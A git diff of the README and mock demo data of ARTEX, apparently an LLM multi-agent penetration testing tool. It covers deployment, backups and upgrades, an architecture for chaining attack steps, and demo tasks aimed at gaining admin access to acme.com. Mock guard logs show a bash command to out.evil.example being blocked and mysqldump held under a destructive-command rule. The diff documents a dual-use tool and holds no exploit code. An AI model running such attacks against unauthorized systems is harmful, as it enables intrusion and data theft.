-- **nginx on the host, ARTEX in Docker** (`docker-compose.yml`): the connection reaches the container from the Docker bridge gateway (a `172.x` address), not from `127.0.0.1`. Find it with `docker network inspect artex_default --format '{{(index .IPAM.Config 0).Gateway}}'` (the network is `_default`; `docker network ls` lists it), put `ARTEX_TRUSTED_PROXIES=/32` in `.env`, and run `docker compose up -d`.
+- **nginx and ARTEX both on the host** (binary, `./start.sh`): the peer is `127.0.0.1`; start ARTEX
+ with `ARTEX_TRUSTED_PROXIES=127.0.0.1/32`.
+- **nginx on the host, ARTEX in Docker** (`docker-compose.yml`): the connection reaches the
+ container from the Docker bridge gateway (a `172.x` address), not from `127.0.0.1`. Find it with
+ `docker network inspect artex_default --format '{{(index .IPAM.Config 0).Gateway}}'` (the network
+ is `_default`), put `ARTEX_TRUSTED_PROXIES=/32` in `.env`, then
+ `docker compose up -d`.
-For a peer in that list, ARTEX reads `X-Forwarded-For` from the right and takes the first address that is not a trusted proxy; from any other peer the header is ignored. Trust only addresses of proxies you run: a trusted peer can claim any client address.
+For a peer in that list, ARTEX reads `X-Forwarded-For` from the right and takes the first address
+that is not a trusted proxy; from any other peer the header is ignored. Trust only proxies you run:
+a trusted peer can claim any client address.
-> Only when SSE needs a different origin from the page (e.g. a dedicated subdomain) should you set `NEXT_PUBLIC_SSE_BASE` **at build time** (this variable is baked into the static bundle during `next build`; setting it at container runtime has no effect).
+> Only when SSE needs a different origin from the page (e.g. a dedicated subdomain) should you set
+> `NEXT_PUBLIC_SSE_BASE` **at build time** (it is baked into the static bundle during `next build`;
+> setting it at container runtime has no effect).
---
+## Operations
+### Backups
+
+`scripts/backup.sh` dumps the Postgres database (and optionally the data directory) with
+timestamped output and rotation:
+
+```bash
+scripts/backup.sh --with-data # db dump + data/ archive, keep 14
+scripts/backup.sh --keep 7 # db only, keep 7
+```
+
+Restore into a running stack:
+
+```bash
+gunzip -c backups/artex-db-.sql.gz | docker compose exec -T postgres \
+ psql -U "$POSTGRES_USER" -d "$POSTGRES_DB"
+```
+
+Stored secrets (LLM API keys and proxies, MCP env, task credentials, notification channel config,
+Brave/Tavily search keys, web search and global proxies, the execution spec of custom tools) are
+encrypted in the database with the key in `keys/secret.key` (generated at first start, mode 0600,
+next to `jwt.key`). **A database backup without that key cannot restore those secrets**: back up
+`keys/` with the dump, separately. Deployments without a persistent disk set
+`ARTEX_SECRET_KEY` (32 bytes, base64 or hex, e.g. `openssl rand -base64 32`). ARTEX refuses to start
+when the database holds encrypted secrets and no key is available.
+
+Daily cron example (03:20, operator crontab):
+
+```
+20 3 * * * cd /path/to/ARTEX && scripts/backup.sh --with-data >> backups/backup.log 2>&1
+```
+
+### Updating and upgrading
+
+> Upgrading swaps the program and never touches data: the Postgres volume `pgdata`, `./data`
+> (traffic index, task files, transcripts), `./keys` (`jwt.key`, `secret.key`) and `./skills` are
+> preserved. **No manual database step is needed**: on every start ARTEX applies its embedded
+> `schema.sql` baseline, then any pending numbered migration from `db/migrations/`, in order, each
+> in its own transaction. Restarting the new binary is the upgrade. Back up `./data`, `keys/` and
+> the database before upgrading.
+
+**Update banner (opt-in, off by default)**: start ARTEX with `ARTEX_UPDATE_CHECK=1` to ask the
+public GitHub releases API for the latest tag, at most once per 24 hours (cached in memory; a
+failed check is not retried within that window). When the release is newer, the web UI shows a
+dismissible strip linking to Releases. The request sends only `User-Agent: artex-update-check`.
+Unset, ARTEX makes no update request and shows no banner.
+
+#### Upgrading from a clone made before 2026-10-23
+
+The repository history was rewritten that day to drop a personal email address from the commit
+metadata. A clone made before then cannot fast-forward, and `./update.sh` now stops instead of
+silently rebuilding stale code. Recover once, then upgrade normally:
+
+```bash
+git stash # only if you have local changes
+git fetch origin
+git reset --hard origin/main
+git stash pop # only if you stashed
+```
+
+Your data is unaffected: `./data`, the `pgdata` volume and `./skills` are not part of git history.
+
+#### Option 1: one-click update script
+
+```bash
+cd ARTEX
+./update.sh
+```
+
+The script optionally `git pull`s, then offers **① Docker update** (`docker compose build artex` →
+`docker compose up -d artex`) or **② local build update** (rebuild the frontend static assets, then
+recompile `./artex`; restart the process for it to take effect).
+
+#### Option 2: Docker Compose (manual)
+
+```bash
+cd ARTEX
+git pull
+docker compose build artex
+docker compose up -d artex
+docker image prune -f # optional
+```
+
+#### Option 3: prebuilt binaries
+
+Download the new zip, stop the old process, overwrite `artex` and `skills/` (keep `config.json` and
+`data/`), then restart:
+
+```bash
+cp -r /skills ./ && cp /artex ./
+./start.sh
+```
+
+#### Option 4: build from source
+
+```bash
+git pull
+cd web && npm ci && npm run build:static && cd ..
+cp -r web/out server/webui/dist
+CGO_ENABLED=0 go build -tags embedui -o artex ./cmd/artex
+# restart ./start.sh
+```
+
+---
## Development
-### Manual vulnerability retesting
-
-The "Retest" tab on the task details page lets you page through the task's vulnerabilities, review past conclusions and evidence, and manually start a retest. After starting, the current tab keeps its place and shows a spinner with "Retesting"; once the fix is confirmed, the vulnerability status is updated accordingly.
-
-Click "Retest" in the actions area of any row in the vulnerability list, or click "Start Retest" in the "Vulnerability Retest" area of the vulnerability details; fill in the optional fixed version, test conditions, or limits, and the system creates an independent retest agent session while keeping the current page. The flat list, group-by-task, and asset views all support this entry point; while a retest is running, a spinner and "Retesting" are shown: click to enter the corresponding session to watch, and it reverts to "Retest" when finished. Retesting does not require restarting the original scan task; conclusions are "Still reproducible", "Fixed", or "Cannot confirm", and each conclusion, evidence, and session link is saved in the vulnerability details.
-
-On first start, the new backend pre-creates an editable "Vulnerability Retest" (`retester`) agent; you can configure its prompt, LLM, run budget, and tools in Agent management. It uses its bound LLM by default, or the global active configuration when unbound. When a retest session completes successfully with a "Fixed" conclusion, the system automatically sets the vulnerability's handling status to "Fixed"; running, failed, stopped, or other conclusions keep the original status. Original evidence and reports are always preserved. You can also manually select "Fixed" from the status dropdown. While the same vulnerability is being retested, the existing session is reused; after a stop, failure, or service restart, you can start it again.
-
-In this version, history is viewed via vulnerability details and sessions; it is not yet included in vulnerability report exports or task archive packages, and is not automatically linked to traffic captures. Demo mode only generates clearly labeled simulated records and never requests real targets.
-
-### Running and testing locally
-
```bash
./dev.sh # backend(:8787) + traffic proxy(:8788) + frontend next dev(:5173) → http://localhost:5173
```
@@ -364,11 +600,14 @@ In this version, history is viewed via vulnerability details and sessions; it is
---
-## System architecture
+## Architecture
-ARTEX is an **LLM multi-agent-driven autonomous penetration testing system**: a Go monolithic backend (with embedded Next.js frontend) + PostgreSQL; agent capabilities are provided by the [`norma`](https://github.com/Autumn-27/norma) SDK (`agentcore` / `tool` / `permission` / `harness` / `memory` / `transcript`). At its core is a **dual-graph architecture**, plus two autonomy mechanisms built around it: **process-level information exchange between workers** and the **planner's multi-round shared todolist that stabilizes attack chains**.
-
-### Overall layering
+ARTEX is an **LLM multi-agent-driven autonomous penetration testing system**: a Go monolithic
+backend (with the Next.js UI embedded) + PostgreSQL. Agent capabilities come from the
+[`norma`](https://github.com/Autumn-27/norma) SDK (`agentcore` / `tool` / `permission` / `harness` /
+`memory` / `transcript`). At its core is the **dual-graph architecture**, plus two autonomy
+mechanisms: **process-level information exchange between workers** and the **planner's multi-round
+shared todolist**.
```mermaid
flowchart TB
@@ -417,158 +656,89 @@ flowchart TB
| Layer | Responsibility |
| --- | --- |
-| **Frontend** | Next.js static export, embedded into the single binary via `go:embed`; visualizes tasks/assets/exploration graph/coverage graph, human-in-the-loop chat |
-| **server** | `net/http` routing + JWT auth + SSE; `Manager` owns the lifecycle of tasks, engines, and DB stores |
+| **Frontend** | Next.js static export embedded via `go:embed`; tasks, assets, exploration and coverage graphs, traffic, human-in-the-loop chat |
+| **server** | `net/http` routing, JWT auth, SSE; `Manager` owns tasks, engines and DB stores |
| **engine** | One `plannerLoop` + N worker goroutines per task; intent claiming, timeout/pause/drain |
| **agent** | goals / planner / worker / mainagent; `ToolSet` exposes the dual graphs as LLM tools |
-| **db** | Postgres persistence of the dual graphs (pgx); the schema is embedded via `go:embed` and idempotently applied on every start |
+| **db** | PostgreSQL persistence (pgx); embedded schema and numbered migrations applied at startup |
| **Supporting** | Recording MITM proxy, approval gate, async enrichment, MCP/skills/memory/report |
-### Dual-graph architecture: exploration graph + asset graph
-
-The system splits "**what the goals are**" and "**how far testing has progressed**" into two mutually independent graphs linked by anchors:
-
-- **Asset Graph (globally shared)**: a single source of truth for assets shared across tasks. Nodes are `root_domain / subdomain / ip / service / app / endpoint`, owned by companies; the parent-child relationships domain→subdomain→service→endpoint and the dedup keys are all computed by the program: agents only submit raw information.
-- **Exploration Graph (per-task)**: the "thinking and advancing" process of one task. Nodes are `goal` / `intent` / `fact` / `finding (vulnerability)` / `hint`, connected by edges like `spawns / derived_from / yields / proves` into a **lineage chain**, answering "which directions derive from which facts, and what they produced".
-- **The two graphs are linked by anchors**: `exploration_anchors(node_id, asset_id)` anchors intents/facts/vulnerabilities to concrete assets: so you can see which assets an exploration direction hits, and conversely look up from a given asset which intents tested it in this task and which facts were derived. This also powers **asset test coverage** and the **asset coverage graph** (in-scope assets + tested highlights).
-
-```mermaid
-flowchart LR
- subgraph EG["Exploration graph (per-task · advance chain)"]
- direction TB
- G["goal"]
- I1["intent A"]
- F1["fact"]
- I2["intent B"]
- FD["finding (vulnerability)"]
- G -->|spawns| I1
- I1 -->|yields| F1
- F1 -->|derived_from| I2
- I2 -->|proves| FD
- end
- subgraph AG["Asset graph (globally shared · source of truth)"]
- direction TB
- RD["root_domain"]
- SD["subdomain"]
- SV["service"]
- EP["endpoint"]
- RD --> SD --> SV --> EP
- end
- I1 -. anchor .-> SD
- F1 -. anchor .-> SV
- I2 -. anchor .-> EP
- FD -. anchor .-> EP
-```
-
-> Division of labor: the **planner** reads the exploration graph's situation, judges goals, and dispatches **intents** into the frontier only when there are uncovered new directions; a **worker** claims **one intent**, executes with real tools, writes new assets/facts/vulnerabilities back into both graphs, then stops. The asset graph is shared facts; the exploration graph is the per-task advance chain.
-
-### Engine and intent lifecycle (the closed loop of one exploration)
-
-The engine is an **event-driven** closed loop: any graph change wakes the planner, the planner dispatches intents, workers claim and execute intents and write back, and the write-back triggers the next round, until the goal is proven (`prove_goal`).
-
-```mermaid
-sequenceDiagram
- autonumber
- participant EV as graph-change debounce
- participant P as planner
- participant FR as frontier intent queue
- participant W as worker
- participant PX as recording proxy
- participant DB as dual graphs + activity
-
- EV-->>P: wake up
- P->>DB: read situation (graph_overview prefetch + coverage/scope)
- P->>FR: dispatch 0..N intents (with asset_ids)
- Note over P,FR: most wake-ups dispatch 0 (no new direction means done)
- W->>FR: claimNext claims one intent
- W->>DB: fetch the raw assets of the intent's asset_ids as initial information
- W->>PX: real tool execution (Kali / Bash / HTTP)
- PX-->>W: response (fully traced + CA verified)
- W->>DB: write back fact / asset / finding + per-step activity
- DB-->>EV: graph change
- EV-->>P: wake again (closed loop)
-```
-
-### Process-level information exchange between workers
-
-During a deep exploration, many valuable observations (an error, a response snippet, a hidden parameter) appear in a worker's **execution process** but may never be written as formal facts. To avoid duplicate work and let workers on the chain stand on each other's shoulders, workers can **search processes across works**:
-
-- `search_all_worker_traces(q)`: keyword-search the **execution processes of other works in this task** (automatically excluding the steps of your own intent); hits carry `intent_id`;
-- `list_worker_traces` / `get_worker_trace(intent_id, step_ids=[…])`: first see which works have run, then fetch the full content of specific steps of a given work for detailed exchange.
-
-This way, even before a corresponding fact exists on the exploration graph, later workers can reuse observations from others' processes: **information flows between workers at "execution process" granularity**, while the boundary stays the same (each worker still only works on the intent it claimed).
-
-```mermaid
-flowchart LR
- WA["worker A (intent #12)"] -->|"per-step activity"| ACT[("exploration graph · activity process store")]
- WB["worker B (intent #34)"] -->|"per-step activity"| ACT
- WC["worker C (intent #56)"] ==>|"1) search_all_worker_traces(q)"| ACT
- ACT ==>|"2) hits on A/B steps (self excluded)"| WC
- WC ==>|"3) get_worker_trace(id, step_ids)"| ACT
- ACT ==>|"4) returns full process content"| WC
-```
-
-### The planner's multi-round shared todolist → stable attack chains
-
-Real attack chains are usually **multi-step sequences with dependencies** (e.g.: find an injection point → obtain credentials → move laterally → escalate privileges); dispatching them all in parallel at once would only cause chaos. The planner therefore keeps a **planning todolist that is retained per task and shared across wake-ups**:
-
-- The planner is event-driven, woken on every graph change, but **each wake-up is a brand-new session**; the shared todolist lets it **record a serial exploitation chain once**, then **dispatch intents step by step by dependency** over subsequent rounds, instead of pre-expanding the whole chain in a single round;
-- Each round only dispatches intents for next steps whose "prerequisite steps are complete and the facts they depend on exist", and updates the list as progress happens (marking steps satisfied by facts as done).
-
-```mermaid
-flowchart TB
- subgraph TODO["Shared todolist (retained per task · persists across wake-ups)"]
- direction LR
- T1["1 injection point [done]"]
- T2["2 get credentials [in progress]"]
- T3["3 lateral movement [pending prerequisite]"]
- T4["4 privilege escalation [pending prerequisite]"]
- T1 -.prerequisite met.-> T2 -.-> T3 -.-> T4
- end
- R1["round 1 wake-up dispatch intent ①"] --> T1
- R2["round 2 (① produced a fact) dispatch intent ②"] --> T2
- R3["round 3 (② produced a fact) dispatch intent ③"] --> T3
-```
-
-Thus, even in an "event-driven + stateless session" environment, the attack chain still **advances steadily, without repetition or reordering**: this is the key to ARTEX autonomously completing multi-step exploitation chains.
-
---
-## References
+## Security
-https://github.com/oritera/Cairn
+Please report vulnerabilities privately through GitHub Security Advisories; see
+[SECURITY.md](SECURITY.md).
+Operational security properties:
+
+- **Secrets at rest**: LLM keys/proxies, MCP environment, task credentials, notification config,
+ search keys, proxies, custom-tool execution specs and traffic evidence snapshots are encrypted
+ with AES-256-GCM using `keys/secret.key` (or `ARTEX_SECRET_KEY`). ARTEX refuses to start when
+ encrypted data exists and no usable key is available.
+- **First-run claim**: `/setup` requires a one-time token printed at startup; the UI binds to
+ `127.0.0.1` by default.
+- **Login protection**: 10 attempts per minute per client IP, with `ARTEX_TRUSTED_PROXIES` for
+ correct client attribution behind a reverse proxy.
+- **Untrusted tool output**: framed as data for every agent by default (prompt-injection boundary).
+- **Release integrity**: SHA-256 sums, CycloneDX SBOM and GitHub build provenance attestations for
+ release archives.
+
+---
+
+## References and prior art
+
+- [Cairn](https://github.com/oritera/Cairn)
+- Approval-details UI inspired by [AegisHook](https://github.com/RuoJi6/AegisHook)
+
+---
## License and disclaimer
### Open source license
-This project is licensed under the **GNU Affero General Public License v3.0 (AGPL-3.0)**; see the [LICENSE](LICENSE) file in the repository root for the full terms.
+This project is licensed under the **GNU Affero General Public License v3.0 (AGPL-3.0)**; see the
+[LICENSE](LICENSE) file for the full terms.
-This means anyone may freely use, modify, and distribute this project, but **derivative works must also be open-sourced under AGPL-3.0**; in particular, **if you modify this project and provide it to users over a network (e.g. deployed as an online service), you must also make the corresponding complete source code available to those users**.
+Anyone may use, modify and distribute this project, but **derivative works must also be open-sourced
+under AGPL-3.0**; in particular, **if you modify this project and provide it to users over a
+network (for example as an online service), you must make the corresponding complete source code
+available to those users**.
-> ⚠️ **Important**: the open source license itself does not restrict how the software is used. The "Usage restrictions" and "Disclaimer" below are additional terms and a solemn statement from the maintainers to users, so please abide by them.
+> **Important**: the open source license does not restrict how the software is used. The usage
+> restrictions and disclaimer below are additional terms from the maintainers.
-**ARTEX is an offensive-security tool. Use it only against systems you own, or that you are explicitly authorized to test (your own lab, your organization's assets, or a bug bounty / vulnerability disclosure program's targets within its published scope and rules of engagement). Any use without authorization is a violation of these terms.**
+**ARTEX is an offensive-security tool. Use it only against systems you own, or that you are
+explicitly authorized to test (your own lab, your organization's assets, or a bug bounty /
+vulnerability disclosure program's targets within its published scope and rules of engagement).
+Any use without authorization violates these terms.**
### Permitted use
-- **Read, learn, and study this project's source code**;
-- Run it against **systems you own** or in **isolated lab environments**;
-- Run it against **authorized bug bounty / vulnerability disclosure program targets**, within their published scope and rules of engagement;
+- Read, learn and study this project's source code;
+- Run it against systems you own or in isolated lab environments;
+- Run it against authorized bug bounty / vulnerability disclosure targets, within their published
+ scope and rules of engagement;
- Academic research and code review.
### Prohibited actions
-- **It is strictly forbidden to scan, probe, exploit, or attack any website, online service, or networked system without the explicit authorization of its owner**;
-- It is strictly forbidden to test outside a program's published scope, or in violation of its rules of engagement;
-- It is strictly forbidden to use this tool for illegal intrusion, data theft, extortion, denial of service, or any destructive or criminal activity;
-- It is strictly forbidden to use this tool for anything that violates the laws and regulations of your country/region.
+- Scanning, probing, exploiting or attacking any website, online service or networked system
+ without the explicit authorization of its owner;
+- Testing outside a program's published scope, or in violation of its rules of engagement;
+- Illegal intrusion, data theft, extortion, denial of service, or any destructive or criminal
+ activity;
+- Any use that violates the laws and regulations of your country or region.
### Compliance responsibility
-Users must comply with all laws and regulations of their country/region regarding cybersecurity, data protection, and computer crime. **All legal liability and consequences arising from the use of this tool are borne by the user.**
+Users must comply with all laws and regulations of their country or region regarding cybersecurity,
+data protection and computer crime. **All legal liability and consequences arising from the use of
+this tool are borne by the user.**
### Disclaimer
-This project is provided "as is", without any express or implied warranty. The authors and contributors are not liable for any direct or indirect loss, data loss, system damage, or legal disputes caused by the use of this tool (whether used properly or not). **Downloading, installing, or using this project means you have read, understood, and agreed to all of the above terms.**
+This project is provided "as is", without any express or implied warranty. The authors and
+contributors are not liable for any direct or indirect loss, data loss, system damage or legal
+dispute caused by the use of this tool (whether used properly or not). **Downloading, installing or
+using this project means you have read, understood and agreed to all of the above terms.**
diff --git a/screenshots/agents.png b/screenshots/agents.png
index 2654dbd..1506374 100644
Binary files a/screenshots/agents.png and b/screenshots/agents.png differ
diff --git a/screenshots/assets.png b/screenshots/assets.png
index 226cfbe..62678b3 100644
Binary files a/screenshots/assets.png and b/screenshots/assets.png differ
diff --git a/screenshots/assets_test.png b/screenshots/assets_test.png
index 6d81bae..d33d3c3 100644
Binary files a/screenshots/assets_test.png and b/screenshots/assets_test.png differ
diff --git a/screenshots/chat.png b/screenshots/chat.png
index 6cc4b2f..e8d2985 100644
Binary files a/screenshots/chat.png and b/screenshots/chat.png differ
diff --git a/screenshots/dashboard.png b/screenshots/dashboard.png
deleted file mode 100644
index e1176d7..0000000
Binary files a/screenshots/dashboard.png and /dev/null differ
diff --git a/screenshots/findings.png b/screenshots/findings.png
index 0443cde..aedadef 100644
Binary files a/screenshots/findings.png and b/screenshots/findings.png differ
diff --git a/screenshots/graph.png b/screenshots/graph.png
index a813adc..bfda458 100644
Binary files a/screenshots/graph.png and b/screenshots/graph.png differ
diff --git a/screenshots/intercept.png b/screenshots/intercept.png
index b9552cc..7f45cbf 100644
Binary files a/screenshots/intercept.png and b/screenshots/intercept.png differ
diff --git a/screenshots/llm.png b/screenshots/llm.png
index 36fb79d..bca39dc 100644
Binary files a/screenshots/llm.png and b/screenshots/llm.png differ
diff --git a/screenshots/logs.png b/screenshots/logs.png
index ee33115..7cc5190 100644
Binary files a/screenshots/logs.png and b/screenshots/logs.png differ
diff --git a/screenshots/sessions.png b/screenshots/sessions.png
index d418b6c..03e4914 100644
Binary files a/screenshots/sessions.png and b/screenshots/sessions.png differ
diff --git a/screenshots/tasks.png b/screenshots/tasks.png
index 36af78e..5bca8ba 100644
Binary files a/screenshots/tasks.png and b/screenshots/tasks.png differ
diff --git a/screenshots/traffic.png b/screenshots/traffic.png
index 4fa09ba..e0d4305 100644
Binary files a/screenshots/traffic.png and b/screenshots/traffic.png differ
diff --git a/web/src/app/(main)/system/logs/page.tsx b/web/src/app/(main)/system/logs/page.tsx
index f5a7e45..e0e9baa 100644
--- a/web/src/app/(main)/system/logs/page.tsx
+++ b/web/src/app/(main)/system/logs/page.tsx
@@ -10,12 +10,12 @@ import { cn } from "@/lib/utils";
// Mock demo: no backend SSE, so stuff in a few sample log lines.
const MOCK_LOGS: LogLine[] = [
- { seq: 1, ts: "2026-07-26T03:55:00Z", level: "info", tag: "engine", text: "ARTEX v0.1.0 backend listening on :8787 (workers=3)" },
- { seq: 2, ts: "2026-07-26T03:55:01Z", level: "info", tag: "config", text: "LLM configured from DB: anthropic / claude-opus-4-8" },
- { seq: 3, ts: "2026-07-26T03:56:10Z", level: "info", tag: "planner", text: "task t-acme-web: planning round 3, generated intent i-4" },
- { seq: 4, ts: "2026-07-26T03:57:00Z", level: "warn", tag: "guard", text: "block bash: target out of bounds, out.evil.example is not in scope" },
- { seq: 5, ts: "2026-07-26T03:57:30Z", level: "info", tag: "work#1", text: "report_finding: Default Credentials (high) saved to database" },
- { seq: 6, ts: "2026-07-26T03:58:20Z", level: "error", tag: "work#3", text: "intercept: mysqldump matched a destructive rule, awaiting manual approval" },
+ { seq: 1, ts: "2026-11-14T03:55:00Z", level: "info", tag: "engine", text: "ARTEX v0.6.0 backend listening on :8787 (workers=3)" },
+ { seq: 2, ts: "2026-11-14T03:55:01Z", level: "info", tag: "config", text: "LLM configured from DB: anthropic / claude-opus-4-8" },
+ { seq: 3, ts: "2026-11-14T03:56:10Z", level: "info", tag: "planner", text: "task t-acme-web: planning round 3, generated intent i-4" },
+ { seq: 4, ts: "2026-11-14T03:57:00Z", level: "warn", tag: "guard", text: "block bash: target out of bounds, out.evil.example is not in scope" },
+ { seq: 5, ts: "2026-11-14T03:57:30Z", level: "info", tag: "work#1", text: "report_finding: Default Credentials (high) saved to database" },
+ { seq: 6, ts: "2026-11-14T03:58:20Z", level: "error", tag: "work#3", text: "intercept: mysqldump matched a destructive rule, awaiting manual approval" },
];
const levelTone: Record = {
diff --git a/web/src/lib/mock/data.ts b/web/src/lib/mock/data.ts
index 5be1d42..6d821a5 100644
--- a/web/src/lib/mock/data.ts
+++ b/web/src/lib/mock/data.ts
@@ -53,15 +53,16 @@ export const ACTIVE_TASK = "t-acme-web";
export const tasks: Task[] = [
{
id: "t-acme-web",
+ name: "Acme external web & admin",
category_id: 1,
category_name: "External assessment",
description: "External penetration of the Acme official site and admin (acme.com)",
goal: "Gain admin access to acme.com and confirm user sensitive data can be read.",
status: "running",
- created_at: T("2026-07-24T09:12:00Z"),
- created_unix: 1785489120,
- last_activity: T("2026-07-26T03:58:22Z"),
- last_activity_unix: 1785643102,
+ created_at: T("2026-11-12T09:12:00Z"),
+ created_unix: 1795079520,
+ last_activity: T("2026-11-14T03:58:22Z"),
+ last_activity_unix: 1795233502,
paused: false,
active: true,
in_flight: 3,
@@ -79,15 +80,16 @@ export const tasks: Task[] = [
},
{
id: "t-acme-api",
+ name: "Acme API authz & injection",
category_id: 2,
category_name: "API focus",
description: "Authorization bypass and injection testing on api.acme.com",
goal: "Assess authorization bypass (IDOR) and injection risks on the api.acme.com order/user APIs.",
status: "running",
- created_at: T("2026-07-25T14:05:00Z"),
- created_unix: 1785592500,
- last_activity: T("2026-07-26T03:40:10Z"),
- last_activity_unix: 1785642010,
+ created_at: T("2026-11-13T14:05:00Z"),
+ created_unix: 1795182900,
+ last_activity: T("2026-11-14T03:40:10Z"),
+ last_activity_unix: 1795232410,
paused: false,
active: false,
in_flight: 2,
@@ -105,15 +107,16 @@ export const tasks: Task[] = [
},
{
id: "t-shop-pay",
+ name: "Shop payment flows",
category_id: 2,
category_name: "API focus",
description: "shop.acme.com payment and order flows",
goal: "Assess authorization bypass, amount tampering and race condition risks on the payment and order APIs.",
status: "paused",
- created_at: T("2026-07-22T08:30:00Z"),
- created_unix: 1785313800,
- last_activity: T("2026-07-23T18:40:10Z"),
- last_activity_unix: 1785436810,
+ created_at: T("2026-11-10T08:30:00Z"),
+ created_unix: 1794904200,
+ last_activity: T("2026-11-11T18:40:10Z"),
+ last_activity_unix: 1795027210,
paused: true,
active: false,
in_flight: 0,
@@ -130,17 +133,18 @@ export const tasks: Task[] = [
},
{
id: "t-vpn-edge",
+ name: "Perimeter recon",
category_id: 1,
category_name: "External assessment",
description: "External attack surface reconnaissance (VPN / perimeter services)",
goal: "Identify exploitable perimeter services exposed by acme.com.",
status: "done",
- created_at: T("2026-07-18T08:00:00Z"),
- created_unix: 1784966400,
- completed_at: T("2026-07-20T22:11:00Z"),
- completed_unix: 1785190260,
- last_activity: T("2026-07-20T22:11:00Z"),
- last_activity_unix: 1785190260,
+ created_at: T("2026-11-06T08:00:00Z"),
+ created_unix: 1794556800,
+ completed_at: T("2026-11-08T22:11:00Z"),
+ completed_unix: 1794780660,
+ last_activity: T("2026-11-08T22:11:00Z"),
+ last_activity_unix: 1794780660,
paused: false,
active: false,
in_flight: 0,
@@ -162,15 +166,15 @@ export const taskCategories: TaskCategory[] = [
id: 1,
name: "External assessment",
task_count: 2,
- created_at: T("2026-07-18T08:00:00Z"),
- updated_at: T("2026-07-25T08:00:00Z"),
+ created_at: T("2026-11-06T08:00:00Z"),
+ updated_at: T("2026-11-13T08:00:00Z"),
},
{
id: 2,
name: "API focus",
task_count: 2,
- created_at: T("2026-07-19T08:00:00Z"),
- updated_at: T("2026-07-24T08:00:00Z"),
+ created_at: T("2026-11-07T08:00:00Z"),
+ updated_at: T("2026-11-12T08:00:00Z"),
},
];
@@ -180,16 +184,16 @@ export const taskTemplates: TaskTemplate[] = [
name: "External web penetration",
description: "Black-box penetration testing of the target's internet-facing exposure, covering sites, APIs and common admin entry points.",
goal: "Identify and verify security issues that could lead to unauthorized access, sensitive data exposure or server compromise.",
- created_at: T("2026-07-20T08:00:00Z"),
- updated_at: T("2026-07-25T08:00:00Z"),
+ created_at: T("2026-11-08T08:00:00Z"),
+ updated_at: T("2026-11-13T08:00:00Z"),
},
{
id: 2,
name: "API authorization bypass focus",
description: "Focused testing of the target API's authentication, object-level authorization and role boundaries.",
goal: "Confirm whether IDOR, horizontal and vertical privilege escalation, and bulk data access risks exist.",
- created_at: T("2026-07-19T08:00:00Z"),
- updated_at: T("2026-07-24T08:00:00Z"),
+ created_at: T("2026-11-07T08:00:00Z"),
+ updated_at: T("2026-11-12T08:00:00Z"),
},
];
@@ -263,7 +267,7 @@ export const assets: Asset[] = [
icp: "Beijing ICP filing 2021xxxx",
record_type: "A",
record_value: ["203.0.113.10"],
- last_seen: T("2026-07-26T02:00:00Z"),
+ last_seen: T("2026-11-14T02:00:00Z"),
},
{
id: 2,
@@ -274,7 +278,7 @@ export const assets: Asset[] = [
root_domain: "acme.com",
record_type: "CNAME",
record_value: "acme.com",
- last_seen: T("2026-07-26T02:01:00Z"),
+ last_seen: T("2026-11-14T02:01:00Z"),
},
{
id: 3,
@@ -285,7 +289,7 @@ export const assets: Asset[] = [
root_domain: "acme.com",
record_type: "A",
record_value: ["203.0.113.11"],
- last_seen: T("2026-07-26T02:02:00Z"),
+ last_seen: T("2026-11-14T02:02:00Z"),
},
{
id: 4,
@@ -296,7 +300,7 @@ export const assets: Asset[] = [
root_domain: "acme.com",
record_type: "A",
record_value: ["203.0.113.12"],
- last_seen: T("2026-07-26T02:03:00Z"),
+ last_seen: T("2026-11-14T02:03:00Z"),
},
{
id: 5,
@@ -307,7 +311,7 @@ export const assets: Asset[] = [
root_domain: "acme.com",
record_type: "A",
record_value: ["198.51.100.20"],
- last_seen: T("2026-07-20T02:00:00Z"),
+ last_seen: T("2026-11-08T02:00:00Z"),
},
{
id: 6,
@@ -318,7 +322,7 @@ export const assets: Asset[] = [
root_domain: "acme.com",
record_type: "A",
record_value: ["203.0.113.10"],
- last_seen: T("2026-07-26T02:04:00Z"),
+ last_seen: T("2026-11-14T02:04:00Z"),
},
{
id: 7,
@@ -332,7 +336,7 @@ export const assets: Asset[] = [
{ port: 443, service: "https" },
{ port: 22, service: "ssh" },
],
- last_seen: T("2026-07-26T02:05:00Z"),
+ last_seen: T("2026-11-14T02:05:00Z"),
},
{
id: 8,
@@ -342,7 +346,7 @@ export const assets: Asset[] = [
ip: "203.0.113.11",
c_segment: "203.0.113.0",
open_ports: [{ port: 443, service: "https" }],
- last_seen: T("2026-07-26T02:06:00Z"),
+ last_seen: T("2026-11-14T02:06:00Z"),
},
{
id: 9,
@@ -355,7 +359,7 @@ export const assets: Asset[] = [
{ port: 443, service: "https" },
{ port: 500, service: " isakmp" },
],
- last_seen: T("2026-07-20T02:00:00Z"),
+ last_seen: T("2026-11-08T02:00:00Z"),
},
{
id: 10,
@@ -366,7 +370,7 @@ export const assets: Asset[] = [
port: 443,
service_type: "https",
service_name: "nginx/1.24.0",
- last_seen: T("2026-07-26T02:07:00Z"),
+ last_seen: T("2026-11-14T02:07:00Z"),
},
{
id: 11,
@@ -377,7 +381,7 @@ export const assets: Asset[] = [
port: 22,
service_type: "ssh",
service_name: "OpenSSH 8.9p1",
- last_seen: T("2026-07-20T02:00:00Z"),
+ last_seen: T("2026-11-08T02:00:00Z"),
},
{
id: 12,
@@ -392,7 +396,7 @@ export const assets: Asset[] = [
page_title: "Acme Corp — Official Website",
technologies: ["Nginx", "React", "Cloudflare"],
favicon_mmh3: "-1580860059",
- last_seen: T("2026-07-26T02:08:00Z"),
+ last_seen: T("2026-11-14T02:08:00Z"),
},
{
id: 13,
@@ -406,7 +410,7 @@ export const assets: Asset[] = [
content_length: 12044,
page_title: "Acme Admin Login",
technologies: ["Nginx", "Vue", "Element-UI"],
- last_seen: T("2026-07-26T02:09:00Z"),
+ last_seen: T("2026-11-14T02:09:00Z"),
},
{
id: 14,
@@ -420,7 +424,7 @@ export const assets: Asset[] = [
content_length: 45,
page_title: "",
technologies: ["Kong", "Node.js"],
- last_seen: T("2026-07-26T02:10:00Z"),
+ last_seen: T("2026-11-14T02:10:00Z"),
},
{
id: 15,
@@ -434,7 +438,7 @@ export const assets: Asset[] = [
{ name: "id", in: "query" },
{ name: "page", in: "query" },
],
- last_seen: T("2026-07-26T02:11:00Z"),
+ last_seen: T("2026-11-14T02:11:00Z"),
},
{
id: 16,
@@ -444,7 +448,7 @@ export const assets: Asset[] = [
url: "https://api.acme.com/v1/users/me",
method: "GET",
status_code: 200,
- last_seen: T("2026-07-26T02:12:00Z"),
+ last_seen: T("2026-11-14T02:12:00Z"),
},
{
id: 17,
